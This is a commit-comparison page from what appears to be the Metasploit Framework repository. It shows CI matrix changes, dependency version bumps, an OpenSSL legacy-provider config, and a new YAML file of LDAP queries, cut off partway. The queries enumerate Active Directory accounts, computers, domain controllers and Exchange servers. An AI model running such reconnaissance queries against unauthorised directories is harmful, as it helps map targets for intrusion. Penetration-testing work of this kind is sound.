Compare commits
444 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 773c6be61b | |||
| 8650aeb5bb | |||
| fa222f3b76 | |||
| f4922b47a9 | |||
| 846cca42c9 | |||
| 318d608608 | |||
| a68986599d | |||
| b20c275df6 | |||
| c54658b035 | |||
| 255bc6e558 | |||
| 8bd33d61a2 | |||
| b8f6e2d549 | |||
| 06f0fffc20 | |||
| 64c3f12573 | |||
| 0be211025e | |||
| 49c98215a0 | |||
| b56cf5ea21 | |||
| a8e73d9fa9 | |||
| 38b845f247 | |||
| 5866cae84c | |||
| 205eec1e56 | |||
| 821c43a6b4 | |||
| 911e5caf7e | |||
| 779482c868 | |||
| b2683981dc | |||
| e99783f329 | |||
| 1103ed6b3e | |||
| 109f0b71e7 | |||
| 6380c69775 | |||
| 44ef271623 | |||
| bb22c81c8b | |||
| 365badb369 | |||
| c45262cd46 | |||
| 5d7fb283b7 | |||
| 6564ea9719 | |||
| 2cde5f6364 | |||
| caff6a53f5 | |||
| ea581482d4 | |||
| be25e1fc77 | |||
| 6e8d04ddc9 | |||
| cc27f563ec | |||
| 5e1888ee46 | |||
| 0fd61e859d | |||
| bba4a23f65 | |||
| b6c3cb41bd | |||
| 74eff9ffac | |||
| 507a8961ef | |||
| 0334beada2 | |||
| 4202502992 | |||
| d08aeda4d3 | |||
| 756c910b9a | |||
| 1472f72876 | |||
| 7c21c57564 | |||
| 713e476139 | |||
| 7844b8f5f8 | |||
| 530174c940 | |||
| 969c81e41c | |||
| 91f2a48270 | |||
| 9c6a198453 | |||
| a858c15b47 | |||
| abb40ea4d6 | |||
| 4cedbadbf9 | |||
| 11fcbb3509 | |||
| c244399f1f | |||
| f87482351c | |||
| d8faa4dd37 | |||
| 26eee72512 | |||
| 0bb14d084f | |||
| af712d4a89 | |||
| 2ec25fc3e5 | |||
| 8febcd1b13 | |||
| a314423e81 | |||
| 163d4d5b11 | |||
| 0b9e1bbbb3 | |||
| 2e13902fd0 | |||
| fd2b325e44 | |||
| 937f3b13b0 | |||
| b42c26b1e1 | |||
| a95d239a88 | |||
| 2433cccde5 | |||
| 75c6e80d68 | |||
| f65119b353 | |||
| 8253e99c11 | |||
| 7489b23336 | |||
| e0514a5bf9 | |||
| 36e542e2e1 | |||
| 449a7b71d5 | |||
| 6c2cf58803 | |||
| fff435fcef | |||
| a54d2402dc | |||
| cd81ced5cb | |||
| 82182f7815 | |||
| 8ed4293e9c | |||
| 6d45320c0c | |||
| ada3be8f7b | |||
| 4f5c711dc7 | |||
| 3cd39d528c | |||
| a0058c03b7 | |||
| f0e62de46a | |||
| 9a4a590b27 | |||
| 207862a810 | |||
| ef8fe215e1 | |||
| d71350dfe6 | |||
| 0602bc0aac | |||
| 4085efa778 | |||
| d86e666e18 | |||
| 6ac0a7c48f | |||
| 7277483022 | |||
| 228d6dd55b | |||
| c66f98bae6 | |||
| 7ee0a78ffc | |||
| e7edafbcfb | |||
| 110e9ddeee | |||
| 4ff03b2305 | |||
| c447cc53fd | |||
| a727ebbf5e | |||
| f2a70c43cb | |||
| 1f7b3319a9 | |||
| 11a00fa1f2 | |||
| f324b8c24e | |||
| c8540a35d6 | |||
| baa686f5e0 | |||
| e2973b0c2e | |||
| a4a2b6e6db | |||
| 98449b6ce6 | |||
| 362318c95b | |||
| d6738c3b18 | |||
| 153dbfb995 | |||
| 5aa5ae32e0 | |||
| 1e6924b19c | |||
| d26eec6a44 | |||
| 1a94376de1 | |||
| d36bee8755 | |||
| b00cadfbeb | |||
| de22141e1b | |||
| c770b7dd39 | |||
| 778ee0ed06 | |||
| 4f3b59bee3 | |||
| 963500f573 | |||
| 1cc42d15d0 | |||
| 5577381dd1 | |||
| 7df60f71b6 | |||
| d45a8aa9fb | |||
| 02519e96c6 | |||
| 81ca555d28 | |||
| 9191003c74 | |||
| 4e4a1da4e4 | |||
| e76ef61452 | |||
| f279e8d6ca | |||
| 2d05bf7412 | |||
| 7c0bb35a4b | |||
| 09ea05754c | |||
| aa51353605 | |||
| 8a22ec8da8 | |||
| 19d044621c | |||
| 6ad17d587c | |||
| bcd1f63848 | |||
| 00b85e9bb4 | |||
| d53dc7ca90 | |||
| 1ac4a74070 | |||
| 7c82c1cf32 | |||
| c0721305e1 | |||
| b4b5f31c3d | |||
| dbf9ca5f56 | |||
| 860cd38bbb | |||
| 488d361721 | |||
| 36811ea364 | |||
| 7a79b8cbc2 | |||
| a3ce694b88 | |||
| 4bbae96840 | |||
| a9dfb6ccb0 | |||
| 4def2e56bc | |||
| f779f0f482 | |||
| 74496c1a29 | |||
| 72b1dbfeee | |||
| 1094ce95c0 | |||
| 8b42e893b1 | |||
| eca8af4e2a | |||
| b16da0fe92 | |||
| bdf8defe53 | |||
| a97f88423c | |||
| 665bde7f60 | |||
| a6bdc5ea29 | |||
| 14e3c694ff | |||
| b4d2294255 | |||
| d63912a1b8 | |||
| fe99eb0d0a | |||
| e6282c3ff8 | |||
| f3731191a1 | |||
| bc0b27e1e2 | |||
| fc3b08fb8b | |||
| 420e67aca9 | |||
| 628f5970b1 | |||
| fbc4893a84 | |||
| abe90c1089 | |||
| e91beedc4a | |||
| 210bd33a01 | |||
| c4a245640e | |||
| 8c729e8414 | |||
| 6b20a5a0a9 | |||
| d1f6433a77 | |||
| ebe61b50a7 | |||
| 135a25be4d | |||
| d23c175f28 | |||
| 318520a042 | |||
| a7676dc375 | |||
| e7ecd1618a | |||
| ecf8434f32 | |||
| 09ffd7f115 | |||
| a4dee1a171 | |||
| e316693bdc | |||
| 09c1cf4308 | |||
| f9a951d034 | |||
| 5dfec3f746 | |||
| 94db8b957b | |||
| e46a71f595 | |||
| 2974f55126 | |||
| 3401752fa7 | |||
| a7b379f292 | |||
| 59ea337c6b | |||
| 336a1feaf7 | |||
| d2769ef82b | |||
| 526ce819c0 | |||
| e1bb088ddb | |||
| f02012a8ee | |||
| 28c3dd5739 | |||
| ebb15ee9e7 | |||
| e3e6afbaa3 | |||
| 2eaccd657f | |||
| dcd4caf977 | |||
| c388499acf | |||
| f043b121b3 | |||
| 2af8042bfa | |||
| 5fd4c6c306 | |||
| adecb0d94b | |||
| e7e3ea1a31 | |||
| 77be219bc2 | |||
| 00444a6e62 | |||
| 1dcfc3406a | |||
| 304d717757 | |||
| 7468f6ecd8 | |||
| 25f50e607c | |||
| 2a8d95c121 | |||
| 1e05630d26 | |||
| 2d1acc0369 | |||
| 03ebbaf2d0 | |||
| 67cf39f4b9 | |||
| 32e5884589 | |||
| c5f2507ee0 | |||
| 8c236e789e | |||
| 3c56e272a1 | |||
| 438b4b1bf8 | |||
| 2a1a8aa632 | |||
| d4809219b9 | |||
| 515bfd296e | |||
| 65b9e1cb13 | |||
| 6f33ddd867 | |||
| 5f3268eae7 | |||
| 5257de67f9 | |||
| 1b5e172f29 | |||
| f8101aa8e4 | |||
| fde4d4ae22 | |||
| c675c104d3 | |||
| 59685f82f8 | |||
| 1103f525a6 | |||
| 346cbc287f | |||
| 662c8bbd87 | |||
| d8cc88a8cd | |||
| 8f3a0e3856 | |||
| b596a2f59c | |||
| 819d1fa2dd | |||
| 9a6013b153 | |||
| 3f52cc80a2 | |||
| 443920850c | |||
| d227f0aaa2 | |||
| f18392adb1 | |||
| ccef129807 | |||
| 88c2d8148c | |||
| fdd7a863c8 | |||
| a75a99de89 | |||
| 52fd45b7ab | |||
| 7df6d73741 | |||
| 44abcfcb28 | |||
| d297adcebb | |||
| 5337571bff | |||
| 439606b2ac | |||
| 171f81803a | |||
| 44e4714b9b | |||
| 48cefee585 | |||
| 1416b5776d | |||
| 57e66296ef | |||
| 39f288bfe3 | |||
| 3e66fc8f4e | |||
| 63734832b2 | |||
| 9d979fdf4f | |||
| 27ad62c964 | |||
| 56dd61027f | |||
| 8090fdb273 | |||
| 67c60c9c5f | |||
| bcd4b6e49f | |||
| 9685bc4bc3 | |||
| 134ce0d7bd | |||
| 83bc954e9d | |||
| 172ee9a73b | |||
| 781597bc0e | |||
| 489d5e023d | |||
| 728cf97f6e | |||
| d6b6f47b09 | |||
| 2f7cf90b7f | |||
| 234a83401b | |||
| f958b0a053 | |||
| 46b5092be4 | |||
| 52ac281991 | |||
| 3a9feac1cf | |||
| 43983b6cb6 | |||
| 4da72a9b01 | |||
| 966d469aa5 | |||
| 2296db8ee3 | |||
| f9664575c5 | |||
| bec15d18bc | |||
| 87f32cbf54 | |||
| 6db340508f | |||
| 887db0b76e | |||
| d785e90bd9 | |||
| 3ad42dd153 | |||
| 3f63f9fcd1 | |||
| cdd12b3b11 | |||
| f319d6e509 | |||
| e7134d5244 | |||
| 7d32338702 | |||
| 7d111938d5 | |||
| eb6535009f | |||
| debf619968 | |||
| fa8d109f65 | |||
| c092291236 | |||
| bc5a8f6fc9 | |||
| a8c2b3bdff | |||
| a41f655060 | |||
| 20fb1e5690 | |||
| f7209bfc75 | |||
| 5b8680ee91 | |||
| 3a4276ad33 | |||
| bbf56c7f4c | |||
| 1ccc91d23c | |||
| 50ca5f0ce2 | |||
| b8834e1534 | |||
| 066d01b7b2 | |||
| b42654875e | |||
| 789397a445 | |||
| ec2445751f | |||
| 04aa05faa2 | |||
| 8bd0be9837 | |||
| f2419785ba | |||
| 0ea033be55 | |||
| 2f1949d021 | |||
| b5d5ba9783 | |||
| ac4f50ebad | |||
| b40dd95d4f | |||
| 9de7411723 | |||
| 12522d1407 | |||
| 48598b8c5b | |||
| 5bc618e642 | |||
| 17f82a900e | |||
| f6b6ad4bf1 | |||
| b56242c7a2 | |||
| e944196c5c | |||
| 2e63a5b48c | |||
| cdc6fe471f | |||
| 1856baf4b9 | |||
| 60da336ad4 | |||
| c67432b20d | |||
| 7e35f42eeb | |||
| 7a982a2c83 | |||
| 81ab873d6c | |||
| 43629a3960 | |||
| ecb09864d3 | |||
| a172fa0da0 | |||
| b8e6b02d04 | |||
| 0d19e47b8d | |||
| 8e32beeeef | |||
| 4f64d098dc | |||
| a2949c7555 | |||
| 738aa7ac0a | |||
| f81e4d5dde | |||
| 1964e61dc8 | |||
| 685e35788b | |||
| 9b909131ff | |||
| c4be01c26a | |||
| daaebc0bd8 | |||
| 0e3fdd0799 | |||
| 2d6e910078 | |||
| 1b7d8f1e74 | |||
| bbbec267b6 | |||
| 695e1243b8 | |||
| d14e610230 | |||
| 41ba2d263b | |||
| da63fbbad4 | |||
| ed2c64bffd | |||
| 6b17905790 | |||
| 9087f86cce | |||
| a89e88c462 | |||
| 2cdc8540d4 | |||
| 22a1e06f02 | |||
| a9d3e7c758 | |||
| 66009ca5e5 | |||
| 836970e1ae | |||
| 8259e8e495 | |||
| ae8f1c3378 | |||
| e9b2fc6ecf | |||
| 84aa9ceeb9 | |||
| 96feb8d1be | |||
| 911092007c | |||
| fae64d5e9b | |||
| ef1b37f6e5 | |||
| e5f0378146 | |||
| 75a76a52f4 | |||
| 5b6d9538cd | |||
| 477db20c04 | |||
| 938090dacb | |||
| e4ce1c53dd | |||
| 6ae35e23fe | |||
| d20fa45f7a | |||
| 37234985e6 | |||
| 825604dda9 | |||
| 78f2ea39e9 | |||
| 41567b1eb4 | |||
| 084fc194ea | |||
| 74936f69a3 | |||
| 9373ab6bd3 | |||
| 45674fbcc2 | |||
| 264085b63c | |||
| b66fb886dc | |||
| 318465771b | |||
| e4947cd127 | |||
| 2c323ae4db | |||
| 71acc02c96 | |||
| d05e855fab | |||
| f87f2c0a20 | |||
| 96e7fdb214 | |||
| 19ef3eb8aa | |||
| f7ce4c9879 | |||
| b9bef8bbdd | |||
| bba97a70ed | |||
| 061987982f |
@@ -172,7 +172,7 @@ jobs:
|
||||
|
||||
This includes:
|
||||
|
||||
- All of the item points within this [tempate](https://github.com/rapid7/metasploit-framework/blob/master/.github/ISSUE_TEMPLATE/bug_report.md)
|
||||
- All of the item points within this [template](https://github.com/rapid7/metasploit-framework/blob/master/.github/ISSUE_TEMPLATE/bug_report.md)
|
||||
- The result of the \`debug\` command in your Metasploit console
|
||||
- Screenshots showing the issues you're having
|
||||
- Exact replication steps
|
||||
|
||||
@@ -44,7 +44,7 @@ jobs:
|
||||
/usr/bin/docker-compose build
|
||||
|
||||
test:
|
||||
runs-on: ubuntu-18.04
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
@@ -66,8 +66,15 @@ jobs:
|
||||
ruby:
|
||||
- 2.6
|
||||
- 2.7
|
||||
- 3.0.3
|
||||
- 3.1.1
|
||||
- 3.0
|
||||
- 3.1
|
||||
os:
|
||||
- ubuntu-18.04
|
||||
- ubuntu-22.04
|
||||
exclude:
|
||||
- { os: ubuntu-22.04, ruby: 2.6 }
|
||||
- { os: ubuntu-22.04, ruby: 2.7 }
|
||||
- { os: ubuntu-22.04, ruby: 3.0 }
|
||||
test_cmd:
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
|
||||
|
||||
+27
-25
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.2.4)
|
||||
metasploit-framework (6.2.12)
|
||||
actionpack (~> 6.0)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
@@ -129,13 +129,13 @@ GEM
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.598.0)
|
||||
aws-sdk-core (3.131.1)
|
||||
aws-partitions (1.602.0)
|
||||
aws-sdk-core (3.131.2)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.525.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.317.0)
|
||||
aws-sdk-ec2 (1.320.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.69.0)
|
||||
@@ -190,7 +190,8 @@ GEM
|
||||
faraday-net_http (~> 2.0)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (2.0.3)
|
||||
faraday-retry (1.0.3)
|
||||
faraday-retry (2.0.0)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.11.1)
|
||||
eventmachine (>= 0.12.0)
|
||||
websocket-driver (>= 0.5.1)
|
||||
@@ -233,7 +234,7 @@ GEM
|
||||
activemodel (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
metasploit-credential (5.0.7)
|
||||
metasploit-credential (5.0.8)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -243,7 +244,7 @@ GEM
|
||||
rex-socket
|
||||
rubyntlm
|
||||
rubyzip
|
||||
metasploit-model (4.0.4)
|
||||
metasploit-model (4.0.5)
|
||||
activemodel (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
@@ -261,9 +262,9 @@ GEM
|
||||
metasploit_payloads-mettle (1.0.18)
|
||||
method_source (1.0.0)
|
||||
mini_portile2 (2.8.0)
|
||||
minitest (5.15.0)
|
||||
minitest (5.16.1)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.5.2)
|
||||
msgpack (1.5.3)
|
||||
multi_json (1.15.0)
|
||||
mustermann (1.1.1)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
@@ -275,7 +276,7 @@ GEM
|
||||
digest
|
||||
net-protocol
|
||||
timeout
|
||||
net-ssh (6.1.0)
|
||||
net-ssh (7.0.1)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.5.8)
|
||||
@@ -283,11 +284,11 @@ GEM
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
nori (2.6.0)
|
||||
octokit (4.24.0)
|
||||
octokit (4.25.1)
|
||||
faraday (>= 1, < 3)
|
||||
sawyer (~> 0.9)
|
||||
openssl-ccm (1.2.2)
|
||||
openssl-cmac (2.0.1)
|
||||
openssl-ccm (1.2.3)
|
||||
openssl-cmac (2.0.2)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
@@ -302,7 +303,7 @@ GEM
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.3.5)
|
||||
pg (1.4.1)
|
||||
pry (0.13.1)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
@@ -313,11 +314,11 @@ GEM
|
||||
puma (5.6.4)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.6.0)
|
||||
rack (2.2.3.1)
|
||||
rack (2.2.4)
|
||||
rack-protection (2.2.0)
|
||||
rack
|
||||
rack-test (1.1.0)
|
||||
rack (>= 1.0, < 3)
|
||||
rack-test (2.0.2)
|
||||
rack (>= 1.3)
|
||||
rails-dom-testing (2.0.3)
|
||||
activesupport (>= 4.2.0)
|
||||
nokogiri (>= 1.6)
|
||||
@@ -351,7 +352,7 @@ GEM
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.30)
|
||||
rex-exploitation (0.1.33)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -376,14 +377,14 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.39)
|
||||
rex-socket (0.1.40)
|
||||
rex-core
|
||||
rex-sslscan (0.1.7)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.3)
|
||||
rex-text (0.2.37)
|
||||
rex-text (0.2.38)
|
||||
rex-zip (0.1.4)
|
||||
rex-text
|
||||
rexml (3.2.5)
|
||||
@@ -411,7 +412,8 @@ GEM
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.11.0)
|
||||
rubocop (1.30.1)
|
||||
rubocop (1.31.1)
|
||||
json (~> 2.3)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.1.0.0)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
@@ -427,7 +429,7 @@ GEM
|
||||
ruby-progressbar (1.11.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.1.3)
|
||||
ruby_smb (3.1.7)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
@@ -449,7 +451,7 @@ GEM
|
||||
rack (~> 2.2)
|
||||
rack-protection (= 2.2.0)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.4.2)
|
||||
sqlite3 (1.4.4)
|
||||
sshkey (2.0.0)
|
||||
swagger-blocks (3.0.0)
|
||||
thin (1.8.1)
|
||||
@@ -468,7 +470,7 @@ GEM
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.8.2)
|
||||
unicode-display_width (2.1.0)
|
||||
unicode-display_width (2.2.0)
|
||||
unix-crypt (1.3.0)
|
||||
warden (1.2.9)
|
||||
rack (>= 2.0.9)
|
||||
@@ -494,7 +496,7 @@ GEM
|
||||
webrick
|
||||
yard (0.9.28)
|
||||
webrick (~> 1.7.0)
|
||||
zeitwerk (2.5.4)
|
||||
zeitwerk (2.6.0)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
+22
-22
@@ -10,9 +10,9 @@ afm, 0.2.2, MIT
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.598.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.131.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.317.0, "Apache 2.0"
|
||||
aws-partitions, 1.602.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.131.2, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.320.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.69.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.57.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.114.0, "Apache 2.0"
|
||||
@@ -44,7 +44,7 @@ factory_bot_rails, 6.2.0, MIT
|
||||
faker, 2.21.0, MIT
|
||||
faraday, 2.3.0, MIT
|
||||
faraday-net_http, 2.0.3, MIT
|
||||
faraday-retry, 1.0.3, MIT
|
||||
faraday-retry, 2.0.0, MIT
|
||||
faye-websocket, 0.11.1, "Apache 2.0"
|
||||
ffi, 1.15.5, "New BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
@@ -70,29 +70,29 @@ memory_profiler, 1.0.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 4.0.4, "New BSD"
|
||||
metasploit-credential, 5.0.7, "New BSD"
|
||||
metasploit-framework, 6.2.4, "New BSD"
|
||||
metasploit-model, 4.0.4, "New BSD"
|
||||
metasploit-payloads, 2.0.93, "3-clause (or ""modified"") BSD"
|
||||
metasploit-framework, 6.2.12, "New BSD"
|
||||
metasploit-model, 4.0.5, "New BSD"
|
||||
metasploit-payloads, 2.0.94, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 5.0.5, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.8.0, MIT
|
||||
minitest, 5.15.0, MIT
|
||||
minitest, 5.16.1, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.5.2, "Apache 2.0"
|
||||
msgpack, 1.5.3, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 1.1.1, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ldap, 0.17.1, MIT
|
||||
net-protocol, 0.1.3, "ruby, Simplified BSD"
|
||||
net-smtp, 0.3.1, "ruby, Simplified BSD"
|
||||
net-ssh, 6.1.0, MIT
|
||||
net-ssh, 7.0.1, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.5.8, MIT
|
||||
nokogiri, 1.13.6, MIT
|
||||
nori, 2.6.0, MIT
|
||||
octokit, 4.24.0, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.2, MIT
|
||||
openssl-cmac, 2.0.1, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
@@ -102,15 +102,15 @@ parser, 3.1.2.0, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.10.0, MIT
|
||||
pg, 1.3.5, "Simplified BSD"
|
||||
pg, 1.4.1, "Simplified BSD"
|
||||
pry, 0.13.1, MIT
|
||||
pry-byebug, 3.9.0, MIT
|
||||
public_suffix, 4.0.7, MIT
|
||||
puma, 5.6.4, "New BSD"
|
||||
racc, 1.6.0, "ruby, Simplified BSD"
|
||||
rack, 2.2.3.1, MIT
|
||||
rack, 2.2.4, MIT
|
||||
rack-protection, 2.2.0, MIT
|
||||
rack-test, 1.1.0, MIT
|
||||
rack-test, 2.0.2, MIT
|
||||
rails-dom-testing, 2.0.3, MIT
|
||||
rails-html-sanitizer, 1.4.3, MIT
|
||||
railties, 6.1.6, MIT
|
||||
@@ -125,7 +125,7 @@ rex-arch, 0.1.14, "New BSD"
|
||||
rex-bin_tools, 0.1.8, "New BSD"
|
||||
rex-core, 0.1.28, "New BSD"
|
||||
rex-encoder, 0.1.6, "New BSD"
|
||||
rex-exploitation, 0.1.30, "New BSD"
|
||||
rex-exploitation, 0.1.33, "New BSD"
|
||||
rex-java, 0.1.6, "New BSD"
|
||||
rex-mime, 0.1.7, "New BSD"
|
||||
rex-nop, 0.1.2, "New BSD"
|
||||
@@ -134,10 +134,10 @@ rex-powershell, 0.1.96, "New BSD"
|
||||
rex-random_identifier, 0.1.8, "New BSD"
|
||||
rex-registry, 0.1.4, "New BSD"
|
||||
rex-rop_builder, 0.1.4, "New BSD"
|
||||
rex-socket, 0.1.39, "New BSD"
|
||||
rex-socket, 0.1.40, "New BSD"
|
||||
rex-sslscan, 0.1.7, "New BSD"
|
||||
rex-struct2, 0.1.3, "New BSD"
|
||||
rex-text, 0.2.37, "New BSD"
|
||||
rex-text, 0.2.38, "New BSD"
|
||||
rex-zip, 0.1.4, "New BSD"
|
||||
rexml, 3.2.5, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
@@ -148,14 +148,14 @@ rspec-mocks, 3.11.1, MIT
|
||||
rspec-rails, 5.1.2, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.11.0, MIT
|
||||
rubocop, 1.30.1, MIT
|
||||
rubocop, 1.31.1, MIT
|
||||
rubocop-ast, 1.18.0, MIT
|
||||
ruby-macho, 3.0.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.11.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.1.3, "New BSD"
|
||||
ruby_smb, 3.1.6, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
@@ -163,7 +163,7 @@ simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 2.2.0, MIT
|
||||
sqlite3, 1.4.2, "New BSD"
|
||||
sqlite3, 1.4.4, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
thin, 1.8.1, "GPL-2.0+, ruby"
|
||||
@@ -176,7 +176,7 @@ tzinfo, 2.0.4, MIT
|
||||
tzinfo-data, 1.2022.1, MIT
|
||||
unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.8.2, MIT
|
||||
unicode-display_width, 2.1.0, MIT
|
||||
unicode-display_width, 2.2.0, MIT
|
||||
unix-crypt, 1.3.0, BSD
|
||||
warden, 1.2.9, MIT
|
||||
webrick, 1.7.0, "ruby, Simplified BSD"
|
||||
@@ -188,4 +188,4 @@ winrm, 2.3.6, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.2, "ruby, Simplified BSD"
|
||||
yard, 0.9.28, MIT
|
||||
zeitwerk, 2.5.4, MIT
|
||||
zeitwerk, 2.6.0, MIT
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
openssl_conf = openssl_init
|
||||
|
||||
[openssl_init]
|
||||
providers = provider_sect
|
||||
|
||||
[provider_sect]
|
||||
default = default_sect
|
||||
legacy = legacy_sect
|
||||
|
||||
[default_sect]
|
||||
activate = 1
|
||||
|
||||
[legacy_sect]
|
||||
activate = 1
|
||||
@@ -0,0 +1,98 @@
|
||||
---
|
||||
queries:
|
||||
- action: ENUM_ALL_OBJECT_CLASS
|
||||
description: 'Dump all objects containing any objectClass field.'
|
||||
filter: '(objectClass=*)'
|
||||
attributes:
|
||||
- dn
|
||||
- objectClass
|
||||
- action: ENUM_ALL_OBJECT_CATEGORY
|
||||
description: 'Dump all objects containing any objectCategory field.'
|
||||
filter: '(objectCategory=*)'
|
||||
attributes:
|
||||
- dn
|
||||
- objectCategory
|
||||
- action: ENUM_ACCOUNTS
|
||||
description: 'Dump info about all known user accounts in the domain.'
|
||||
filter: '(|(objectClass=organizationalPerson)(sAMAccountType=805306368))'
|
||||
attributes:
|
||||
- dn
|
||||
- name
|
||||
- displayName
|
||||
- samAccountName
|
||||
- userPrincipalName
|
||||
- userAccountControl
|
||||
- homeDirectory
|
||||
- homeDrive
|
||||
- profilePath
|
||||
- action: ENUM_COMPUTERS
|
||||
description: 'Dump all objects containing an objectCategory of Computer.'
|
||||
filter: '(objectCategory=Computer)'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- distinguishedName
|
||||
- dNSHostName
|
||||
- description
|
||||
- givenName
|
||||
- name
|
||||
- operatingSystemVersion
|
||||
- operatingSystemServicePack
|
||||
- action: ENUM_DOMAIN_CONTROLLERS
|
||||
description: 'Dump all known domain controllers.'
|
||||
filter: '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- distinguishedName
|
||||
- dNSHostName
|
||||
- description
|
||||
- givenName
|
||||
- name
|
||||
- operatingSystemVersion
|
||||
- operatingSystemServicePack
|
||||
- action: ENUM_EXCHANGE_SERVERS
|
||||
description: 'Dump info about all known Exchange servers.'
|
||||
filter: '(&(objectClass=msExchExchangeServer)(!(objectClass=msExchExchangeServerPolicy)))'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- distinguishedName
|
||||
- dNSHostName
|
||||
- description
|
||||
- givenName
|
||||
- name
|
||||
- operatingSystemVersion
|
||||
- operatingSystemServicePack
|
||||
- action: ENUM_EXCHANGE_RECIPIENTS
|
||||
description: 'Dump info about all known Exchange recipients.'
|
||||
filter: '(|(mailNickname=*)(proxyAddresses=FAX:*))'
|
||||
attributes:
|
||||
- dn
|
||||
- mailNickname
|
||||
- proxyAddresses
|
||||
- name
|
||||
- action: ENUM_GROUPS
|
||||
description: 'Dump info about all known groups in the LDAP environment.'
|
||||
